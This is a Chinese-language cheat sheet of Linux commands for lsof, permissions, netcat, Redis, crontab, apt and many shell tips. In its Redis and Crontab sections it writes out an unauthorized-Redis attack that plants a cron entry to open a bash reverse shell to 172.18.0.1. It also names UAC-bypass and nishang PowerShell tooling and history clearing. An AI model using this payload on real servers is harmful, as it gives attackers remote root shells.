Linux命令

Ruby

安装ruby

Lsof

lsof /path/to/file 找出谁在使用某个文件
lsof /path/to/file1 /path/to/file2 一次制定多个文件
lsof -u pkrumins 列出某个用户打开的所有文件
lsof -u pkrumins -c apache 列出所有由某个用户或某个进程打开的文件
lsof -p 450,980,333 列出所有由某个PID对应的进程打开的文件
lsof -i 列出所有网络连接

用户权限

-rwxrw-r‐-1 root root 1213 Feb 2 09:39 abc

- 其余字符每3个一组(rwx),读(r)、写(w)、执行(x)

- 第一组rwx:文件所有者的权限是读、写和执行

- 第二组rw-:与文件所有者同一组的用户的权限是读、写但不能执行

- 第三组r--:不与文件所有者同组的其他用户的权限是读不能写和执行

- usermod ‐g 组名 用户名

- usermod ‐d 目录名 用户名,改变该用户登录的初始目录

Sed

sed -i 's#/var/log/*.log#/var/log/apache2/access.log#g' /etc/filebeat/filebeat.yml

Nc

-g<网关>:设置路由器跃程通信网关,最多设置8个;

-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;

-h:在线帮助;

-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;

-l:使用监听模式,监控传入的资料;

-n:直接使用ip地址,而不通过域名服务器;

-o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;

-p<通信端口>:设置本地主机使用的通信端口;

-r:指定源端口和目的端口都进行随机的选择;

-s<来源位址>:设置本地主机送出数据包的IP地址;

-u:使用UDP传输协议;

-v:显示指令执行过程;

-w<超时秒数>:设置等待连线的时间;

-z:使用0输入/输出模式,只在扫描通信端口时使用。

Bundle

bundle show 显示所有的依赖包
bundle show [gemname] 显示指定gem包的安装位置
bundle check 检查系统中缺少那些项目以来的gem包
bundle install 安装项目依赖的所有gem包
bundle install [gemname] 安装指定的gem包
bundle update 更新系统中存在的项目依赖包,并同时更新项目Gemfile.lock文件
gem [gemname], [ver] 向项目中添加新的gem包引用
bundle lock 使用bundle lock来锁定当前环境,这样便不能通过bundle update来更新依赖包的版本,保证了统一的环境
bundle unlock 解除锁定

文件目录

./Tools 表示查找某个文件

.代表当前目录的意思 ./Tools/cobaltstrike

/代表根目录的意思

windows下 不分/和\ 但是\有转义的意思,有时候再linux下面查找路径需要用"c:\\\***" 有空格需要用双引号

powershell下面 . .\需要执行的powershell文件

.代表执行 后一个点是当前目录的意思 PS F:\PowerShell-Suite-master\Bypass-UAC> . .\Bypass-UAC.ps1
导入模块 Import-Module ./nishang.psm1
导入文件 . .\Bypass-UAC.ps1
查询策略 Get-ExecutionPolicy
设置策略 set-executionpolicy remotesigned
查询模块信息 PS F:\nishang-master> Get-ExecutionPolicy
查看帮助 get-help Get-Information
# History

存在.bash_history(或者说root/bash_history)

history N 显示最近的N条命令,例如history 5
history -d N 删除第N条命令,这个N就是前面的编号,例如history -d 990
history -c 清空命令历史
history -a 将当前会话中的命令历史写入指定文件
echo $HISTFILE 使用此命令查看环境变量
history | grep cd
Ctrl+ R 快速搜索

#

复制文件

Cp 文件名 /**/目录/新文件名

Redis

ps aux|grep redis 查看redis服务
kill -9 12281 kill服务
sudo /etc/init.d/redis-server restart 重启Redis服务器
config get dir 获取dir的值
config get dbfilename 获取dbfilename的值
config set dbfilename 'root' 设置备份文件名为root,以root身份执行计划任务
flushall 删除所有数据库的所有key
del cron 删除新增的key

Crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"

crontab -l 列出crontab文件
crontab -e 编辑crontab文件
service crond status 查看crontab服务状态
service crond start 手动启动crontab服务
30 21 * * * /etc/init.d/smb restart 每晚的21:30重启smb
30 21 1,10,22 * * /etc/init.d/smb restart 每月1、10、22日的21:30重启smb
10 1 * * 6,0 /etc/init.d/smb restart 每周六、周日的1 : 10重启smb
* * * * * command 每1分钟执行一次command
/var/spool/cron/root centos系统下root用户的cron文件\
/var/spool/cron/crontabs/root debian系统下root用户的cron文件\

ssh服务

sudo rm /var/cache/apt/archives/lock

sudo rm /var/lib/dpkg/lock

/etc/init.d/ssh start 开启ssh

service sshd restart

ssh-keygen -R "你的远程服务器ip地址" 清除你当前机器里关于你的远程服务器的缓存和公钥信息

位数

Uname -m i686、i386是32bit

file /lib/systemd/systemd

Arch

getconf LONG_BIT

Grep

ps -e | grep sshd

[root@www ~]# grep [-acinv] [--color=auto] '搜寻字符串' filename

选项与参数:

-a :将 binary 文件以 text 文件的方式搜寻数据

-c :计算找到 '搜寻字符串' 的次数

-i :忽略大小写的不同,所以大小写视为相同

-n :顺便输出行号

-v :反向选择,亦即显示出没有 '搜寻字符串' 内容的那一行!

--color=auto :可以将找到的关键词部分加上颜色的显示喔!

# grep root /etc/passwd

root:x:0:0:root:/root:/bin/bash

operator:x:11:0:operator:/root:/sbin/nologin

# cat /etc/passwd | grep root

root:x:0:0:root:/root:/bin/bash

operator:x:11:0:operator:/root:/sbin/nologin

dpkg

dpkg -i netease-cloud-music_1.0.0_amd64_ubuntu14.04.deb #安装包

dpkg -r netease-cloud-music #删除包

dpkg -P netease-cloud-music #删除包(包括配置文件)

dpkg -L netease-cloud-music #列出与该包关联的文件

dpkg -l netease-cloud-music #显示该包的版本

dpkg --unpack netease-cloud-music_1.0.0_amd64_ubuntu14.04.deb #解开deb包的内容

dpkg -S keyword #搜索所属的包内容

dpkg -l #列出当前已安装的包

dpkg -c netease-cloud-music_1.0.0_amd64_ubuntu14.04.deb #列出deb包的内容

dpkg --configure netease-cloud-music #配置包

SCP

scp /mnt/sda1/cc.txt root@192.168.99.134:/root/test12/translate-shell/man

scp -r local_folder remote_username@remote_ip:remote_folder

或者

scp -r local_folder remote_ip:remote_folder

第1个指定了用户名,命令执行后需要输入用户密码;

第2个没有指定用户名,命令执行后需要输入用户名和密码

关机命令:

1、halt 立刻关机

2、poweroff 立刻关机

3、shutdown -h now 立刻关机(root用户使用)

4、shutdown -h 10 10分钟后自动关机 如果是通过shutdown命令设置关机的话,可以用shutdown -c命令取消重启

重启命令:

1、reboot

2、shutdown -r now 立刻重启(root用户使用)

3、shutdown -r 10 过10分钟自动重启(root用户使用)

4、shutdown -r 20:35 在时间为20:35时候重启(root用户使用) 如果是通过shutdown命令设置重启的话,可以用shutdown -c命令取消重启

桌面安装

输入sudo -i,密码,切换成了root,开始安装桌面环境了。

apt-get install xinit,要启动startx必须得先安装xinit。安装完桌面变了一点,但只不过变成了白色页面,真正的桌面环境还没安。

apt-get install gdm之后安装环境管理器(desk manager)Gnome 或者 Kde.这里我安的是gnome:apt-get install gdm,(KDE:kdm // Xface : xdm).

apt-get install ubuntu-desktop安装桌面环境,安装完全部的桌面环境的代价(解压完占1个多G的空间)还是比较大的(相对于这20GB的硬盘),因为安装桌面相关软件太多(这里我先安全环境,后期我会试着把多余的软件甚至桌面环境卸载,毕竟是服务器嘛)。apt-get install ubuntu-desktop,安装好。(还可以安装xubun-desktop,kubuntu-desktop)

这里假如你不想要某个桌面系统想换一个,你可以执行如下指令卸载:(假设为xubuntu)

1.apt-get remove xubuntu*  (卸载相关的软件,但是记住这个会保存配置文件,要想删除配置文件加上选项:--purge (清除的意思) )

2.apt-get autoremove   (删除为了满足其他软件包的依赖而安装的,但当前不再需要的包)

3.apt-get clean  (系统清理,它删除包缓存中的所有包,没事就看可以清理一下)

最后重启服务器,就是熟悉的界面了

桌面美化

sudo dpkg-reconfigure gdm3 (选择LightDM和GDM登录显示器)

1、sudo apt-get install xinit

2、sudo apt-get install gdm

3、sudo apt-get install ubuntu-desktop

# 如果执行过方案b,这里执行完第三步会出现一个选择,我选了第一项很丑(随便选的),你可以选第二个

2、自定义安装桌面

1)安装x-windows的基础(必须)

# sudo apt-get install x-window-system-core

2)安装gnome基础(必须)

# sudo apt-get install gnome-core

3)安装中文显示(建议安装)

# sudo apt-get install language-pack-gnome-zh ——>让gnome面板、菜单显示中文

#sudo apt-get install language-pack-gnome-zh-base sudo apt-get install language-pack-zh ——>中文语言包

# sudo apt-get install language-pack-zh-base sudo apt-get install language-support-zh ——>中文语言支持

# sudo apt-get install scim ——> scim中文输入法平台

4)安装登录管理器(一般可以不选)

# sudo apt-get install gdm

说明: gdm(gnome display manager)即gnome图形界面显示管理器,还有kdm/xdm等,它将使您可以在启动时直接进入GUI桌面环境,而勿需通过 startx 来启动GUI。

5)安装新利得软件管理器(可选)

# sudo apt-get install synaptic

6)卸载gnome桌面环境

# sudo apt-get –purge remove liborbit2

7)进入图形界面:#startx

8)退出图形桌面:#ctrl + alt + backspace

查找

find . -name "*.c"

find / -name "redis.conf"

find /home -name "*.txt" 在/home目录下查找以.txt结尾的文件名

find . -type 类型参数 根据文件类型进行搜索

重启网络

root@kali:/etc/init.d# service networking restart

root@kali:/etc/init.d#

Alias

Alias kali=ssh root@192.168.164.129

删除软件

rm -r 刪除文件夾

mkdir -m 700 /usr/meng/test 只有文件主有读、写和执行权限,其他人无权访问

mv ex3 new1 将文件ex3改名为new1

mv /usr/men/* . /usr/men中的所有文件移到当前目录

unalias cc 使用unalias命令将已经设置的命令别名"cc"取消

网络服务

/etc/init.d/iptables stop 关闭防火墙

iptables -I INPUT -p TCP --dport 80 -j ACCEPT 把tcp的80端口设置成允许任何IP都可以访问

/etc/init.d/apache2 start

service apache2 start 重启apache2服务器

apt-get clean&&apt-get autoremove 清除kali垃圾

chmod a+x 文件名 提升权限的操作

sudo -s 获取最高权限

更新源

#官方更新源

deb http://http.kali.org/kali kali-rolling main non-free contrib

deb-src http://http.kali.org/kali kali-rolling main non-free contrib

# 中科大

deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

#官方更新源

deb http://http.kali.org/kali kali-rolling main non-free contrib

#中科大的源

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb http://us.archive.ubuntu.com/ubuntu trusty main universe

更新命令

apt-get update //更新软件列表

apt-get update --fix-missing //更新异常索引文件

apt-get upgrade //更新软件

apt-get dist-upgrade //更新系统版本

卸载

apt-get purge 软件名 建议卸载时候使用该命令
apt-get remove 软件名   删除相应的软件(实际上删除了 /var/cache/apt/archives 目录下所有以deb 文件)
apt-get purge 软件名 删除相关软件,同时删除该软件的配置文件
apt-get clean 把存储的安装包全部卸载
apt-get autoremove  自动清理无用的meta package

查看内核

dpkg --get-selections|grep linux 查看内核 有image的就是内核文件

sudo apt-get remove 内核文件名 删除老的内核文件

uname -a 当前内核

/var/cache/apt/archives 包管理的临时文件目录:

/var/cache/apt/archives/partial 没有下载完的目录

清理命令:

sudo apt-get autoclean 清理旧版本的软件缓存

sudo apt-get clean 清理所有软件缓存

sudo apt-get autoremove 删除系统不再使用的孤立软件

sudo apt-get install deborphan -y 清理Linux下孤立的包

sudo apt-get remove --purge 软件名

dpkg -l |grep ^rc|awk '{print $2}' |sudo xargs dpkg -P 清除残余的配置文件保证干净

sync; echo 1 > /proc/sys/vm/drop_caches 仅清除页面缓存(PageCache)

sync; echo 2 > /proc/sys/vm/drop_caches 清除目录项和inode

sync; echo 3 > /proc/sys/vm/drop_caches 清除页面缓存,目录项和inode

free -m

total——总物理内存

used——已使用内存,一般情况这个值会比较大,因为这个值包括了cache+应用程序使用的内存

free——完全未被使用的内存

shared——应用程序共享内存

buffers——缓存,主要用于目录方面,inode值等(ls大目录可看到这个值增加)

cached——缓存,用于已打开的文件

压缩解压

tar命令
解包:tar zxvf FileName.tar
打包:tar czvf FileName.tar DirName

gz命令
解压1:gunzip FileName.gz
解压2:gzip -d FileName.gz
压缩:gzip FileName
.tar.gz 和 .tgz
解压:tar zxvf FileName.tar.gz
压缩:tar zcvf FileName.tar.gz DirName
压缩多个文件:tar zcvf FileName.tar.gz DirName1 DirName2 DirName3 ...

1
disown

这是一个bash内置命令,如果你需要将当前程序在后台运行的时候,有两个方式,1.让当前程序在新的session中运行。2.程序内部处理SIGUP信号,nohup就只这种工作方式。disown这个命令也能达到相同的功能。更多内容参考: https://www.ibm.com/developerworks/cn/linux/l-cn-nohup/

1
2
3
4
5
touch log
gdb -p 22499
(gdb) p close(1) # This closes the stdout of the running process
(gdb) p open("/home/.../log", 1) # This will open the log-file with O_WRITE
(gdb) c

这是一种非常hack的方式来将一个已经正在运行的程序的标准输出重定向到文件。更多内容参考: https://github.com/nelhage/reptyr

1
cat ~/.ssh/id_dsa.pub | ssh me@remotebox "cat >> ~/.ssh/authorized_keys"

通过ssh连接跨机器使用管道符,这也是比较hack的一种方式。顺便说一句,scp也是使用的ssh协议,所以在使用scp的时候,如果你配置了秘钥,那么scp是可以使用tab键来进行补全提示的。

1
fc

fc命令能够将上一次执行的命令在编辑器中打开,这个默认的编辑器可以使EDITOR环境变量来设置。

1
lsof

lsof能够列出当前操作系统打开的所有文件描述符,包括socket,文件等等,与之类似还有一个fuser命令。

1
CTRL + L

这是一个快捷键,和clear的功能一样能够快速清空当前的terminal,bash还有很多快捷键,请参考: https://blog.hellojukay.cn/2018/05/23/20180523/

1
man ascii

在mac上下能够按照是十六进制的方式处处ascii码表,很多从事嵌入式开发的程序使用这个小技巧,同样的ascii -x也能实现这个功能.

1
xargs

能够将上一个程序的标准输出传给下一个程序的命令行,我最喜欢的功能是:echo xx | xargs -I {} command {}

1
convert

convert命令能够进行图片格式转换。

1
^find^replace

这是一个比较冷门的用法,通常在你出入命令行错误,或者你在用另一个参数再次运行某个命令,用这种凡是来修改命令行,类似的哈有!:s/find/replace以及全局替换!:gs/find/replace

img

1
rsync

这是一个同步,备份文件的命令。

1
iftop

这是一个监控网卡流量的命令,类似的监控io情况的命令有:iotop 。

1
sudo !!

使用sudo权限来执行上一条命令,换句话说,如果只是单纯的再次执行上一条命令就用!!即可。我习惯使用CTRL + P然后CTRL + a,然后输入sudo。

1
cd -

这条命令能够将你待会上一次所在目录。关于目录跳转的还有另外一个很有意思的工具: https://github.com/wting/autojump

1
tail -f file

能够监控文件的变化,实时输出到标准输出。

1
:w !sudo tee %

这是一条vim的内置命令,当你用普通用户编辑文件,但是没有权限保存的时候,这个条命令能够让你用sudo权限保存当前文件。

1
python -m SipmleHTTPServe 8080

启动一个简单的http目录,暴露8080端口,将当前目录下的文件暴露出去。这是正对于python2版本,如果是python3环境,则使用python -m http.server 8080

1
fmt

文件格式化编排后输出到标准输出。

1
pkill/pgrep

按照名字查找进程号,类似ps aux | grep name| awk '{print $2}'

1
pv

以进度条的方式显示命令行的执行进度。

1
pushd/popd

这是是用堆栈的方式来进行目录跳转pushd跳转到目录目录,并将当前目录放在栈定,pop移除栈顶元素,回到上一次目录。

1
ncdu

查看磁盘空间占用情况。

1
dmidecode

或者当前系统的硬件信息。

1
htop

与top命令的功能类似,但是显示界面更加友好。

1
strace

这是非常hack的一个命令,能够调试一个脚本.

1
vnstat

一款linux下的性能监控工具。

1
find . -executable -type f

查找可执行文件。

1
tree

展示当前目录的树状结构。

1
pstree

显示一个正在运行中的程序的进程树状结构。

1
ss

ss 也就是 socket status ,用来展示socket讯通状态的命令,类似于 netstat 命令 。

1
sl

sl这是一个非常滑稽的命令,如果你想深入ls,但是不小心写错了,终端中会有一个小火车驶过。

-------------本文结束感谢您的阅读-------------